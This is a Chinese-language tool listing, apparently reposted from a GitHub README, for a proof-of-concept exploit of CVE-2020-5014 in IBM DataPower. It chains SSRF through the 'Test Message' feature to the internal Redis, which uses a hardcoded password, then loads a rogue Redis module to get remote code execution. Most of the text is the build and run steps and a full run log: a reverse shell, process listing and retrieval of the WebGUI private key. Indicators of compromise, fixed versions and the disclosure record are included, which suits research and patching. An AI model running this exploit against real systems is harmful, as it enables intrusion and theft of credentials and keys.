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datapower-redis-rce-exploit — 一个针对IBM Datapower的已验证Redis RCE漏洞利用的POC,滥用测试消息功能(CVE-2020-5014) | Kitploit
工具/GitHubGitHub/copethomas/datapower-redis-rce-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

一个针对IBM Datapower的已验证Redis RCE漏洞利用的POC,滥用测试消息功能(CVE-2020-5014)

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datapower-redis-rce-exploit (CVE-2020-5014)

针对IBM DataPower的认证Redis RCE漏洞利用的概念验证(POC),滥用"测试消息"功能。

poc_demo

Youtube上的完整解释和演示

tomcope.com上的博客文章

说明

通过经过身份验证的会话访问DataPower WebGUI上的"发送测试消息"功能,可以对DataPower内部Redis服务器执行SSRF攻击。内部Redis服务器受密码保护,但似乎使用硬编码密码。然后,可以将此漏洞与现有的Redis RCE漏洞结合使用,以DataPower底层Linux操作系统中的drouter用户身份执行任意代码。

快速开始

  1. 克隆此仓库
  2. 编译模块:
    • cd RedisModulesSDK/dpredisshell/
    • make
  3. 编译Go代码
    • go build
  4. 检查参数
    • ./datapower-redis-rce-exploit -h
  5. 运行漏洞利用
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8

示例

以下是通过Docker运行DataPower并通过本地localhost运行漏洞利用的完整示例:

  1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
  2. 使用用户名admin和密码admin登录DataPower
  3. 使用WebGUI进行配置:
idg# config
Global mode
idg(config)# web-mgmt
Modify Web Management Service configuration

idg(config web-mgmt)# admin-state enabled
idg(config web-mgmt)# exit
idg(config)# write mem
Overwrite previously saved configuration? Yes/No [y/n]: y
Configuration saved successfully.
idg(config)# exit
idg# 
  1. 检查WebUI是否运行:
idg# show web-mgmt

web-mgmt [up] 
--------
 admin-state enabled 
 ip-address 0.0.0.0 
 port 9090 
 save-config-overwrite on 
 idle-timeout 600 Seconds
 acl web-mgmt  [up]
 ssl-config-type server 
 enable-sts on 

idg# 
  1. 打开一个新的终端窗口
  2. 克隆此仓库
    • git clone https://github.com/copethomas/datapower-redis-rce-exploit
  3. 编译模块:
    • cd RedisModulesSDK/dpredisshell/
    • make
  4. 编译Go代码
    • cd ../../
    • go build
  5. 将内部Redis密码加载到Shell中。(阅读说明了解更多详情)
$ read DPREDISPASSWD
apples
$ echo $DPREDISPASSWD
apples
  1. 运行漏洞利用:
$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
FakeRedis - 2020/10/18 23:34:29 Online and Ready!
Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
Main      - 2020/10/18 23:34:29 Datapower Login Complete!
Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Accepting connection...
FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Uploading module...
FakeRedis - 2020/10/18 23:34:29 Upload Complete!
Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
Main      - 2020/10/18 23:34:29 Performing clean up...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
FakeRedis - 2020/10/18 23:34:29 Connection Closed
Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:30 Accepting connection...
Main      - 2020/10/18 23:34:30 Got Reverse Shell!
Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
id
uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
drouter       63      61  0 22:34 pts/0    00:00:00 
find / -name webgui-privkey.pem 2>/dev/null
/opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

入侵指标(IOC)

在漏洞利用过程中,DataPower会记录多个内部Redis URL的url-open错误。这是因为Redis没有以DataPower期望的XML格式进行回复。

18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'

修复/补丁

已在10.0.1.2和2018.4.1.15版本中修复

  • https://www.ibm.com/support/pages/node/6426789
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

链接与致谢

  • https://github.com/n0b0dyCN/redis-rogue-server - 针对此漏洞利用的Python版本以及exp.cRedis模块
  • https://github.com/RicterZ/RedisModules-ExecuteCommand - 对于原始Redis模块
  • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - 对于Redis RCE的发现

原创发现由我(Thomas Cope)于2020年10月21日发现 - 通过Hackerone向IBM报告

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